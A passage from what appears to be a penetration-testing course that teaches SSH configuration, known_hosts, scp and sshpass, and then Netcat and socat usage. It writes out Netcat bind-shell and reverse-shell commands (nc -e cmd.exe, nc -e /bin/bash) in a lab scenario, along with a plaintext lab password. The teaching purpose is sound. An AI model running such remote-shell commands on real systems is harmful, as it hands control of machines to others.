Connection to localhost closed.
Listing 38 - A SSH connection is made to the localhost
Although the terminal prompt script is the same (kali@kali:~$ in the
terminal), an SSH connection was made to the local host independently
from the first terminal session. We'll often encounter an SSH server
hosted on a different port than the default. To learn how to change
this, let's analyze the /etc/ssh/sshd_config configuration
file.
Note that this is not the /etc/ssh/ssh_config file. The
/etc/ssh/sshd_config file is for the ssh daemon process (the
server process), whereas the /etc/ssh/ssh_config[395]
configuration file is for the ssh client.
There are many other configurations we can implement with the
/etc/ssh/sshd_config file, including encryption types, key
files, authentication types, and even which IP addresses to listen
to. Key files for authentication will be covered in the Cryptography
Module. The rest are out-of-scope for this Module.
kali@kali:~$ cat /etc/ssh/sshd_config
# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
...
Listing 39 - The ssh server configuration file
As shown in the output, the Port line is commented out by default.
Let's uncomment this line and change the port value to 2222.
kali@kali:~$ cat /etc/ssh/sshd_config
# $OpenBSD: sshd_config,v 1.103 2018/04/09 20:41:22 tj Exp $
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.
# This sshd was compiled with PATH=/usr/bin:/bin:/usr/sbin:/sbin
# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.
Include /etc/ssh/sshd_config.d/*.conf
Port 2222
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::
#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key
...
Listing 40 - The ssh server will be hosted on port 2222
Now, let's try to access the ssh server locally on the default port
(port 22).
kali@kali:~$ ssh kali@localhost
kali@localhost's password:
Linux kali 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 07:41:14 2021 from ::1
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
kali@kali:~$ exit
Connection to localhost closed.
Listing 41 - The local ssh server works on port 22
Despite the change to the Port line above, the ssh server is still
available on port 22. Based on the new configuration, this is
not how the service should work. This issue occurred because the ssh
service daemon was not restarted. Let's use systemctl to restart
the ssh service now.
kali@kali:~$ sudo systemctl restart ssh
Listing 42 - The ssh service is restarted
With the service restarted, let's try to access the local ssh
server on the default port again.
kali@kali:~$ ssh kali@localhost
ssh: connect to host localhost port 22: Connection refused
Listing 43 - The ssh connection was refused on port 22
This is expected behavior for the ssh server. The server should be
hosted on port 2222, so let's use the -p option to specify the
port we want to connect to.
kali@kali:~$ ssh kali@localhost -p 2222
kali@localhost's password:
Linux kali 5.10.0-kali8-amd64 #1 SMP Debian 5.10.40-1kali1 (2021-05-31) x86_64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jul 12 08:24:29 2021 from ::1
┏━(Message from Kali developers)
┃
┃ We have kept /usr/bin/python pointing to Python 2 for backwards
┃ compatibility. Learn how to change this and avoid this message:
┃ ⇒ https://www.kali.org/docs/general-use/python3-transition/
┃
┗━(Run: “touch ~/.hushlogin” to hide this message)
kali@kali:~$ exit
Connection to localhost closed.
Listing 44 - The ssh server connects on port 2222
For the next portion of this ssh section, let's stop the ssh server on
our host. It's good practice to stop services that are not being used
to limit the attack surface[396] on a host.
kali@kali:~$ sudo systemctl stop ssh
Listing 45 - The ssh service is stopped
Despite stopping the SSH service, we need make sure that the Port
line is reverted back to 22 and commented out. Restoring this to the
default configuration will help us prevent future issues if we need to
utilize SSH on our machine and forget about our changes.
Moving on from our local SSH server, we'll now analyze how remote ssh
sessions work and other critical files that are created as a result
of those interactions. An important directory for SSH is the .ssh
directory, which is created in a user's home directory. Even after the
exercises with the localhost, this directory has not been made. Let's
search for it using the ls -a -1 command.
kali@kali:~$ ls -a -1
.
..
.bash_logout
.bashrc
.bashrc.original
.cache
.config
.dbus
Desktop
Documents
Downloads
.face
.face.icon
.gnupg
.ICEauthority
.java
.local
Music
Pictures
.profile
Public
.sudo_as_admin_successful
Templates
Videos
.vnc
.Xauthority
.zshrc
Listing 46 - The .ssh directory is not in the user's home directory
Currently, the .ssh directory does not exist in our home
directory.
Let's make a connection to the remote exercise host. In this example,
the IP of the exercise host is 192.168.55.61. To access this host,
we can start it in the Resources area at the bottom of this section.
We will access this host on port 2222 with the username offensive.
kali@kali:~$ ssh offensive@192.168.55.61 -p 2222
The authenticity of host '[192.168.55.61]:2222 ([192.168.55.61]:2222)' can't be established.
ED25519 key fingerprint is SHA256:qztGAMsXjffSxLSNetPJoMkzMiacX1h5/7R2kiOM7fA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])?
Listing 47 - The ssh connection prompt for fingerprinting
The first time an ssh connection is made to a host, the client (our
host) will ask if we are sure we want to make the connection. When
either yes or fingerprint is entered, our host will store the
information for reuse.
Entering no will simply disconnect the connection attempt (and
will not save the information). Listing 48 shows
the yes response.
kali@kali:~$ ssh offensive@192.168.55.61 -p 2222
The authenticity of host '[192.168.55.61]:2222 ([192.168.55.61]:2222)' can't be established.
ED25519 key fingerprint is SHA256:qztGAMsXjffSxLSNetPJoMkzMiacX1h5/7R2kiOM7fA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.55.61]:2222' (ED25519) to the list of known hosts.
offensive@192.168.55.61's password:
Listing 48 - The yes option was used for the ssh connection
After entering "yes" in the terminal, the SSH server prompts us
for the password. Instead of entering the password, we'll press
C+c to stop the SSH connection. Let's execute ls
-a -1 in our home directory and observe the results.
kali@kali:~$ ls -a -1
.
..
.bash_logout
.bashrc
.bashrc.original
.cache
.config
.dbus
Desktop
Documents
Downloads
.face
.face.icon
.gnupg
.ICEauthority
.java
.local
Music
Pictures
.profile
Public
.ssh
.sudo_as_admin_successful
Templates
Videos
.vnc
.Xauthority
.zshrc
Listing 49 - The .ssh directory is in our home directory
Having established the connection, we now have a .ssh directory in
our home directory. So we can examine the "fingerprint" option, let's
remove the files and this directory and attempt to reconnect via SSH.
We're doing this for demonstration purposes. Generally, it's
discouraged to remove the .ssh directory after it was created
by the SSH session. However, without removing this path and file, we
won't be able to demonstrate the fingerprint option.
Let's start by removing the .ssh directory.
kali@kali:~$ rm -rf ~/.ssh
Listing 50 - The .ssh directory and contents are removed
Now that the .ssh directory is removed, let's reconnect to
the exercise host again and enter "fingerprint" when prompted.
kali@kali:~$ ssh offensive@192.168.55.61 -p 2222
The authenticity of host '[192.168.55.61]:2222 ([192.168.55.61]:2222)' can't be established.
ED25519 key fingerprint is SHA256:qztGAMsXjffSxLSNetPJoMkzMiacX1h5/7R2kiOM7fA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? fingerprint
Please type 'yes', 'no' or the fingerprint:
Listing 51 - fingerprint was entered in the prompt, but the password prompt did not display
When we entered "fingerprint", the password prompt was not displayed.
This is because the prompt is requesting the key fingerprint that
was provided in the SSH prompt. Let's copy and paste the provided
fingerprint in the prompt.
kali@kali:~$ ssh offensive@192.168.55.61 -p 2222
The authenticity of host '[192.168.55.61]:2222 ([192.168.55.61]:2222)' can't be established.
ED25519 key fingerprint is SHA256:qztGAMsXjffSxLSNetPJoMkzMiacX1h5/7R2kiOM7fA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? fingerprint
Please type 'yes', 'no' or the fingerprint: SHA256:qztGAMsXjffSxLSNetPJoMkzMiacX1h5/7R2kiOM7fA
Warning: Permanently added '[192.168.55.61]:2222' (ED25519) to the list of known hosts.
offensive@192.168.55.61's password:
Listing 52 - The fingerprint is accepted and the password prompt displays
The provided fingerprint is based off the public key on the SSH
server. Both "yes" and the fingerprint entries for this prompt
complete the same outcome, which is to store the SSH information in
a file. If the public key on that SSH host changes, the keys will no
longer align, and an error will be displayed to the terminal. This
helps prevent connections to malicious SSH servers after initial trust
has been established.
Again, the password was not entered, and the SSH connection was closed
with C+c. The .ssh directory was once again created
in our home directory. Let's list the contents of this directory.
kali@kali:~$ ls -a -1 .ssh
.
..
known_hosts
Listing 53 - A single file is in the .ssh directory
We've discovered a file called known_hosts inside the
~/.ssh directory. This file is what the prompt was adding to
the kali host when prompting for the connection.
Let's analyze this file's contents by entering
cat .ssh/known_hosts.
kali@kali:~$ cat .ssh/known_hosts
|1|iY/jD14Jy4PlH/JnlO83LMbp+Is=|fpvcQaEIEKt57J0CViVHL48nQ8k= ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFlCaq/373mnjw+OIvlLJxpPrRi1iG5BeXf/tCZ7dI/c
Listing 54 - The contents of the known_hosts file is displayed
The values in this file are currently hashed,[397]
so it is not possible for us to understand this without cracking
the output. This is controlled in the client configuration file,
/etc/ssh/ssh_config. Let's examine the configuration
controlling this.
kali@kali:~/.ssh$ tail /etc/ssh/ssh_config
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
SendEnv LANG LC_*
HashKnownHosts yes
GSSAPIAuthentication yes
Listing 55 - The default ssh client setting is to hash the known_hosts file
Let's change the HashKnownHosts value to no, remove the
.ssh directory, and try the connection again.
The new configuration file should be appear similar to the following:
kali@kali:~$ tail /etc/ssh/ssh_config
# Tunnel no
# TunnelDevice any:any
# PermitLocalCommand no
# VisualHostKey no
# ProxyCommand ssh -q -W %h:%p gateway.example.com
# RekeyLimit 1G 1h
# UserKnownHostsFile ~/.ssh/known_hosts.d/%k
SendEnv LANG LC_*
HashKnownHosts no
GSSAPIAuthentication yes
Listing 56 - The known_hosts hash configuration is now set to 'no'
With the new configuration, let's remove the .ssh directory.
kali@kali:~$ rm -rf .ssh
Listing 57 - The .ssh directory is removed
Let's make the connection again, enter "yes", and view the created
known_hosts file. The file is displayed below:
kali@kali:~$ cat .ssh/known_hosts
[192.168.55.61]:2222 ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFlCaq/373mnjw+OIvlLJxpPrRi1iG5BeXf/tCZ7dI/c
Listing 58 - The server and port are now human-readable in the known_hosts file
With the configuration change, the SSH server IP and port are shown
in plaintext. Hashing the known_hosts file can be helpful
since if the host is compromised, an attacker would have a harder time
gaining more information about remote systems being accessed from the
host.
In the listing above, the first object highlighted is the connection
destination and port. If we used a human-readable name (canonical
name[398]), it would show the resolved name of the server
and include the IP address, similarly to when we used traceroute
earlier in this Module.
The known_hosts file helps prevent eavesdropping
or a rogue device[399] by accounting for these pieces
of information along with the hash value. Sometimes an internal
network can experience a change in the host's IP that will affect the
fingerprint of the known host.
This can also happen in our lab environment if a different server
is used with the same IP address. There are two ways to circumvent
the error that an attack may be happening. The first is to remove the
known_hosts file or entry to that server in the file. The
second option is to add the -o stricthostkeychecking=no option to
the ssh command. Remember that this file is a security mechanism to
prevent an unauthorized host from eavesdropping on network traffic. In
real-world practice, this mechanism should not be bypassed.
The /etc/ssh/ssh_config file was modified to show
the known_hosts file in plaintext. It can also handle
many other ssh client configurations - including setting the
StrictHostKeyChecking setting. The other settings will not be
covered in this Module.
Instead of changing a global configuration file that affects all
users on a system, let's examine a file that may be more relevant to
a separate user account: ~/.ssh/config.[400] This
file is read before the /etc/ssh/ssh_config file. It is a
user-defined file to handle the client configuration for a host, all
hosts, or even exclude hosts. Since this is a user-defined file, it
will not exist by default.
Let's create this file for the example given for 192.168.55.61.
kali@kali:~/.ssh$ ls -al
total 16
drwx------ 2 kali kali 4096 Jul 13 03:18 .
drwxr-xr-x 19 kali kali 4096 Jul 13 03:18 ..
-rw------- 1 kali kali 75 Jul 13 03:18 config
-rw-r--r-- 1 kali kali 430 Jul 13 03:16 known_hosts
kali@kali:~/.ssh$ cat config
Host lab
HostName 192.168.55.61
User offensive
Port 2222
kali@kali:/.ssh$
Listing 59 - The user ssh config file
Now that an entry for lab was made in the ~/.ssh/config
file, these settings in the ssh configuration will be used when using
the alias lab. It is also important to note that this file must
have 0600 (-rw-------) permissions on it. Let's run the ssh command
against the alias.
kali@kali:~$ ssh lab
offensive@192.168.55.61's password:
Listing 60 - The settings under the alias lab are used to gain access to the remote host
SSH can also be used to remotely copy files via a utility called
SCP (Secure Copy Protocol).[401] The syntax for scp is very
similar to the cp command, except the location of the file will
contain User@host:remote-file-path. Let's copy the offensive
user's .bashrc file with SCP into our current working
directory with the name "Copiedbashrc".
kali@kali:~$ scp offensive@192.168.55.61:/home/offensive/.bashrc Copiedbashrc
offensive@192.168.65.61's password:
.bashrc 100% 3771 1.1MB/s 00:00
kali@kali:~$ ls -1
Copiedbashrc
Desktop
Documents
...
Listing 61 - SCP reports the file is successfully copied
SCP reports the file is successfully copied. It took less than 1
second since this was done locally using a very small file.
We'll wrap up the ssh portion of this section by covering
sshpass.[402] This utility is designed to supply the ssh
password in the command execution, rather than having to manually
enter it at the prompt. This is useful because it means an ssh session
can be opened through a script without requiring user interaction.
Despite the usefulness of this utility, there are severe security
drawbacks. The recent commands entered into the terminal can be listed
with the history command, which will reveal the password used in
plaintext. Storing an sshpass command within a script will also reveal
the password if the script can be read. Let's review how sshpass
works, including how to install it.
Listing 62 illustrates the format required. The
option -p is followed by the password.
kali@kali:~$ sshpass -p 'security' ssh lab
Command 'sshpass' not found, but can be installed with:
sudo apt install sshpass
Do you want to install it? (N/y)y
sudo apt install sshpass
[sudo] password for kali:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following package was automatically installed and is no longer required:
gstreamer1.0-pulseaudio
Use 'sudo apt autoremove' to remove it.
The following NEW packages will be installed:
sshpass
0 upgraded, 1 newly installed, 0 to remove and 102 not upgraded.
Need to get 13.0 kB of archives.
After this operation, 38.9 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 sshpass amd64 1.09-1+b1 [13.0 kB]
Fetched 13.0 kB in 1s (19.8 kB/s)
Selecting previously unselected package sshpass.
(Reading database ... 328377 files and directories currently installed.)
Preparing to unpack .../sshpass_1.09-1+b1_amd64.deb ...
Unpacking sshpass (1.09-1+b1) ...
Setting up sshpass (1.09-1+b1) ...
Processing triggers for man-db (2.9.4-2) ...
Processing triggers for kali-menu (2021.2.3) ...
Listing 62 - The default installation of Kali does not have sshpass installed
When we tried to use the command, Kali presented an error that sshpass
wasn't installed. Conveniently, in the same command execution, we can
install it by entering y. Let's try to run the command again. We
should note that we're using the same alias that was set up in the
~/.ssh/config file.
kali@kali:~$ sshpass -p 'security' ssh lab
Last login: Fri Jul 8 14:59:46 2022 from 192.168.55.200
[offensive@non-standard-port ~]$
Listing 63 - sshpass automatically uses the provided password to connect to the remote host
The ssh connection was automatically logged into using the provided
password. Now that we understand sshpass more clearly, let's
explore two reasons we might choose not to use this utility in a
production environment.
The first reason is due to the command history. If a user on a
host is compromised, the history command can show the latest
commands that were executed by that user. This can be used by an
attacker to identify user credentials, other remote systems that
are accessible, and even lead to full-system control by means of
privilege escalation.[403] In the Linux Module of this
course, the history of user commands was found by reading the
~/.zsh_history file. The history command does the same
thing for the current user. Let's list the latest history of the kali
user.
kali@kali:~$ history
...
22 sshpass -p 'security' ssh lab
23 exit
Listing 64 - The ssh password in plaintext for the ssh connection to lab
In the listing above, we'll observe the password to the lab host
alias in plaintext. An attacker could use this information to gain
access to the remote host.
Similarly, the second reason to be cautious with sshpass is that an
attacker could read a password in plaintext if this utility is used in
a script. It's poor security practice to store passwords in plaintext
in any file on a system, so implementing this into a script is a bad
practice.
In this section, we explored several aspects of SSH. We covered
its basic usage, how to access different ports, some minor server and
client configurations, the known_hosts file and fingerprinting. We
also examined issues with changes to the fingerprint and how that may
be affected in a lab or internal network setting, the user-defined
config file, copying files remotely, and automatically
supplying a password for ssh authentication (and related security
weaknesses).
Having covered SSH in detail, let's take an opportunity to reinforce
what we learned with some hands-on exercises.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes to complete.
Netcat,[404] first released in 1995 by *Hobbit*, is one of the
earliest network penetration testing tools and is so versatile that it
lives up to the author's designation as a hacker's "Swiss army knife".
Netcat is, most simply, a "utility which reads and writes data across
network connections, using TCP or UDP protocols.[405]"
Netcat can run in either client or server mode. Let's check out the
client mode first.
To follow along, start the exercise host in the Resources
section.
We can use client mode to connect to any TCP/UDP port. This allows us
to check if a port is open or closed, read a banner from the service
listening on a port, and/or connect to a network service manually.
Let's begin by using Netcat (nc) to check if TCP port 22 (the
SSH service) is open on the exercise host. We will supply several
arguments: the -n option to skip DNS name resolution, -v to
add some verbosity, the destination IP address, and the destination
port number.
kali@kali:~$ nc -nv 192.168.55.61 22
(UNKNOWN) [192.168.55.61] 22 (ssh) open
SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.4
Listing 65 - Using nc to connect to a TCP port 22
Netcat was able to connect to the exercise host's SSH service and
displayed the service banner. When we enter any text in the Netcat
session, SSH closes the connection with an error. Regardless of our
inability to communicate with the service with Netcat, we were able to
discover that the port was open and the version of SSH being used.
Let's try to connect to port 25565 and find out if this port is open
on the remote host.
kali@kali:~$ nc -nv 192.168.55.61 25565
(UNKNOWN) [192.168.55.61] 25565 (?) : Connection refused
Listing 66 - The connection was refused by the remote host
Our attempt to connect to port 25565 with Netcat resulted in a
"Connection refused" error message. This means that the port is
closed. Using this information, we can differentiate open and closed
ports by identifying successful and refused connections.
Let's connect to port 80 on the exercise host to find out if there
is a web service running on the remote host.
kali@kali:~$ nc -nv 192.168.65.61 80
(UNKNOWN) [192.168.65.61] 80 (http) open
Listing 67 - Using nc to connect to TCP port 80
Unlike the SSH connection with Netcat we made earlier, we can
communicate with web services manually. Let's quickly cover a basic
GET[406] request using Netcat.
We'll make a request to view the homepage (/) of the web server.
kali@kali:~$ nc -nv 192.168.65.61 80
(UNKNOWN) [192.168.65.61] 80 (http) open
GET / HTTP/1.1
Host: 192.168.65.61
HTTP/1.1 200 OK
Server: nginx/1.21.6
Date: Fri, 08 Jul 2022 16:43:38 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
767
<html>
...
Listing 68 - The homepage is displayed in the Netcat session
The GET request was successful, and the homepage contents were
displayed in the Netcat session. This example demonstrates how we
can use netcat to interact with various services by using the correct
syntax.
Listening on a TCP/UDP port using Netcat is useful for network
debugging of client applications, or otherwise receiving a TCP/UDP
network connection. Let's try implementing a simple chat service
involving the exercise host and Kali host, using Netcat both as a
client and server.
To follow along, start the exercise host in the Resources
section, and ssh with offensive:security.
In the following demonstration, we'll have a SSH connection
to the exercise host and another terminal session on the Kali
host. The exercise host will act as the client device with an
IP of 192.168.65.61. The Kali host IP in the demonstration is
192.168.65.200.
To get started, we'll set up a listener on the Kali host for incoming
connections on TCP port 6666. We will use the -n option to
disable DNS name resolution, -l to create a listener, -v to
add some verbosity, and -p to specify the listening port number.
kali@kali:~$ nc -lvnp 6666
listening on [any] 6666 ...
Listing 69 - Using nc to set up a listener
Now that we have bound port 6666 on the Kali host to Netcat, let's
connect to that port from the exercise host and enter a line of text:
offensive@server01:~$ nc -nv 192.168.65.200 6666
Connection to 192.168.65.200 6666 port [tcp/*] succeeded!
This is a chat message from the exercise host!
Listing 70 - Using nc to connect to a listener
On the exercise host, nothing is returned to that terminal session.
If we switch to the terminal session of the Kali host listener, we can
observe the connection was successfully established, and the message
we sent from the exercise host appeared in that terminal session.
kali@kali:~$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.65.200] from (UNKNOWN) [192.168.65.61] 38786
This is a chat message from the exercise host!
Listing 71 - The message is displayed on the nc listener connection
We can also send messages from the Kali host to the exercise host.
kali@kali:~$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [192.168.65.200] from (UNKNOWN) [192.168.65.61] 38786
This is a chat message from the exercise host!
Well, hello from the Kali client. :-)
Listing 72 - A message is sent from the Kali client to the exercise over a basic chat service
After the message is sent from the Kali client, let's check the
exercise host to verify we've established a functional two-way
communication system.
offensive@server01:~$ nc -nv 192.168.65.200 6666
Connection to 192.168.65.200 6666 port [tcp/*] succeeded!
This is a chat message from the exercise host!
Well, hello from the Kali client. :-)
Listing 73 - The exercise host received the chat message
The message was received on the exercise host, which confirms that
we've successfully created a basic chat service with Netcat between
two systems.
To close the connection, we can enter C+c in either
session.
Before moving on to the next section, we should carefully review the
example above to understand which machine acted as the server, which
acted as the client, and the difference in the command-line syntax.
Netcat can also be used to transfer files, both text and binary, from
one computer to another. In fact, forensics investigators often use
Netcat in conjunction with dd (a disk copying utility) to create
forensically sound disk images over a network.
To send a file from our Kali virtual machine to the exercise host,
we can initiate a setup similar to the previous chat example, with
some slight differences. On the exercise host, we'll set up a Netcat
listener on port 6666 and redirect any output into a file called
incoming.txt:
offensive@server01:~$ nc -lvnp 6666 > incoming.txt
Listening on 0.0.0.0 6666
Listing 74 - Using nc to receive a file
On the Kali system, we will create an example file and send it to
the exercise host by appending an input redirection after the Netcat
connection command.
kali@kali:~$ echo "This is an example of sending a file" > incoming.txt
kali@kali:~$ nc -nv 192.168.65.61 6666 < incoming.txt
(UNKNOWN) [192.168.65.61] 6666 (?) open
Listing 75 - Using nc to transfer a file
The connection is received by Netcat on the exercise host as shown
below:
offensive@server01:~$ nc -lvnp 6666 > incoming.txt
Listening on 0.0.0.0 6666
Connection received on 192.168.65.200 43070
Listing 76 - File received on the exercise host
We'll notice that we have not received any feedback from Netcat
about our file upload progress. In this case, since the file we are
uploading is small, we can simply wait a few seconds, then check
whether the file has been fully uploaded to the exercise host by
attempting to read it.
offensive@server01:~$ cat incoming.txt
This is an example of sending a file
Listing 77 - The file is complete
We can verify that this the file we created and thus the file transfer
was successful.
Being able to perform command redirection is one of Netcat's most
useful features. The netcat-traditional version of Netcat (compiled
with the "-DGAPING_SECURITY_HOLE" flag) enables the -e option,
which executes a program after making or receiving a successful
connection. This powerful feature opens up a wide variety of
interesting possibilities from a security perspective and is therefore
not available in most modern Linux/BSD systems.
Since Kali Linux is a penetration testing distribution, the Netcat
version included in Kali supports the -e option. When enabled, this
option can redirect the input, output, and error messages of an
executable to a TCP/UDP port rather than the default console.
For example, let's consider the cmd.exe executable. By
redirecting stdin, stdout, and stderr to the network, we can
bind cmd.exe to a local port. Anyone connecting to this port
will be presented with a command prompt on the target computer.
To clarify this, let's run through a few scenarios involving Bob
and Alice. We'll cover a connection between a Windows machine and a
Linux machine. The machines and respective IPs will not be covered
in a follow-along method. The Exercises section will provide
an opportunity to complete hands-on activities for the two given
scenarios.
In our first scenario, Bob (running Windows) has requested Alice's
(who is running Linux) assistance and has asked her to connect to his
computer and issue some commands remotely. Bob has a public IP address
and is directly connected to the Internet. Alice, however, is behind
a NATed connection, and has an internal IP address. To complete their
task, Bob needs to bind cmd.exe to a TCP port on his public
IP address and asks Alice to connect to his particular IP address and
port.
Bob will check his local IP address, then run Netcat with the -e
option to execute cmd.exe once a connection is made to the
listening port:
C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
C:\Users\offsec> nc -nlvp 4444 -e cmd.exe
listening on [any] 4444 ...
Listing 78 - Using nc to set up a bind shell
Now Netcat has bound TCP port 4444 to cmd.exe and will
redirect any input, output, or error messages from cmd.exe
to the network. In other words, anyone connecting to TCP port 4444 on
Bob's machine (hopefully Alice) will be presented with Bob's command
prompt. This is indeed a major security risk!
kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$ nc -nv 10.11.0.22 4444
(UNKNOWN) [10.11.0.22] 4444 (?) open
Microsoft Windows [Version 10.0.17134.590]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\offsec> ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 10.11.0.22
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : 10.11.0.1
Listing 79 - Using nc to connect to a bind shell
As we observed, this works just as expected. The following image
depicts this scenario:
As displayed in the image above, Alice is able to make a bind
connection to Bob's computer using nc.
In our second scenario, Alice needs help from Bob. However, Alice has
no control over the router in her office, and therefore cannot forward
traffic from the router to her internal machine.
In this scenario, we can leverage another useful feature of Netcat;
its ability to send a command shell to a host listening on a
specific port. In this situation, although Alice cannot bind a port to
/bin/bash locally on her computer and expect Bob to connect,
she can send control of her command prompt to Bob's machine. This
is known as a reverse shell. To put this into action, Bob will first
set up Netcat to listen for an incoming shell. We will use port 4444
in our example:
C:\Users\offsec> nc -nlvp 4444
listening on [any] 4444 ...
Listing 80 - Using nc to set up a listener in
order to receive a reverse shell
Alice can then send a reverse shell from her Linux machine
to Bob. Once again, we'll use the -e option to make an
application available remotely, which in this case happens to be
/bin/bash, the Linux shell.
kali@kali:~$ ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
kali@kali:~$ nc -nv 10.11.0.22 4444 -e /bin/bash
(UNKNOWN) [10.11.0.22] 4444 (?) open
Listing 81 - Using nc to send a reverse shell
Once the connection is established, Alice's Netcat will have
redirected /bin/bash input, output, and error data streams to
Bob's machine on port 4444. Bob can also interact with that shell:
C:\Users\offsec>nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43482
ip address show eth0 | grep inet
inet 10.11.0.4/16 brd 10.11.255.255 scope global dynamic eth0
Listing 82 - Using nc to receive a reverse shell
We should take some time to consider the differences between bind
and reverse shells, and how these differences might apply to various
firewall configurations from an organizational security standpoint.
It is important to realize that outgoing traffic can be just as
harmful as incoming traffic. The following image depicts the reverse
shell scenario in which Bob gets remote shell access on Alice's Linux
machine, traversing the corporate firewall:
Many host-based firewalls will block access to our precious bind
shells. This can be incredibly frustrating at times, especially when
under pressure and dealing with time constraints. When in doubt, we
use a reverse shell as they are typically easier to troubleshoot.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 60 minutes to complete.
Socat[407] is a command-line utility that establishes two
bidirectional byte streams and transfers data between them. For
penetration testing, it is similar to Netcat but has additional useful
features.
While there are a multitude of things that socat can do, we will only
cover a few of them to illustrate its use. Let's begin exploring socat
and analyze how it compares to Netcat.
Let's compare socat to what we learned about Netcat before by
analyzing the each utility's commands for connecting as a client:
nc <remote server's ip address> 80
socat - TCP4:<remote server's ip address>:80
Listing 83 - Using socat to connect to a remote
server on port 80, and comparing its syntax with nc's
We'll note that the syntax is similar, but socat requires the "-"
to transfer data between STDIO (Standard Input Output) and the
remote host (allowing our keyboard interaction with the shell) and
protocol (TCP4). The protocol, options, and port number are
colon-delimited.
Root privileges are required to bind a listener to ports below 1024,
so we need to use sudo when starting a listener on port 443:
sudo nc -lvp localhost 443
sudo socat TCP4-LISTEN:443 STDOUT
Listing 84 - Using socat to
create a listener, and comparing its syntax with nc's
We should notice we need to add both the protocol for the listener
(TCP4-LISTEN) and the STDOUT argument, which redirects standard
output.
Next, let's attempt file transfers. Continuing with the previous
fictional characters of Alice and Bob, we'll assume Alice needs to
send Bob a file called secret_passwords.txt. As a reminder,
Alice's host machine is running on Linux, and Bob's is running
Windows. Let's observe this in action.
On Alice's side, we will share the file on port 443. In this example,
the TCP4-LISTEN option specifies an IPv4 listener, fork
creates a child process once a connection is made to the listener,
which allows multiple connections, and file: specifies the name of
a file to be transferred:
kali@kali:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
Listing 85 - Using socat to transfer a file
On Bob's side, we will connect to Alice's computer and retrieve the
file. In this example, the TCP4 option specifies IPv4, followed
by Alice's IP address (10.11.0.4) and listening port number
(443), file: specifies the local file name to save the file
to on Bob's computer, and create specifies that a new file will be
created:
C:\Users\offsec> socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create
C:\Users\offsec> type received_secret_passwords.txt
"try harder!!!"
Listing 86 - Using socat to receive a file
We were able to download a file from Alice's computer to Bob's PC
using socat.
Let's cover a reverse shell using socat. First, Bob will start a
listener on port 443. To do this, he will supply the -d -d option
to increase verbosity (showing fatal, error, warning, and notice
messages), TCP4-LISTEN:443 to create an IPv4 listener on port 443,
and STDOUT to connect standard output (STDOUT) to the TCP socket:
C:\Users\offsec> socat -d -d TCP4-LISTEN:443 STDOUT
... socat[4388] N listening on AF=2 0.0.0.0:443
Listing 87 - Using socat to create a
listener
Next, Alice will use socat's EXEC option (similar to the Netcat
-e option), which will execute the given program once a remote
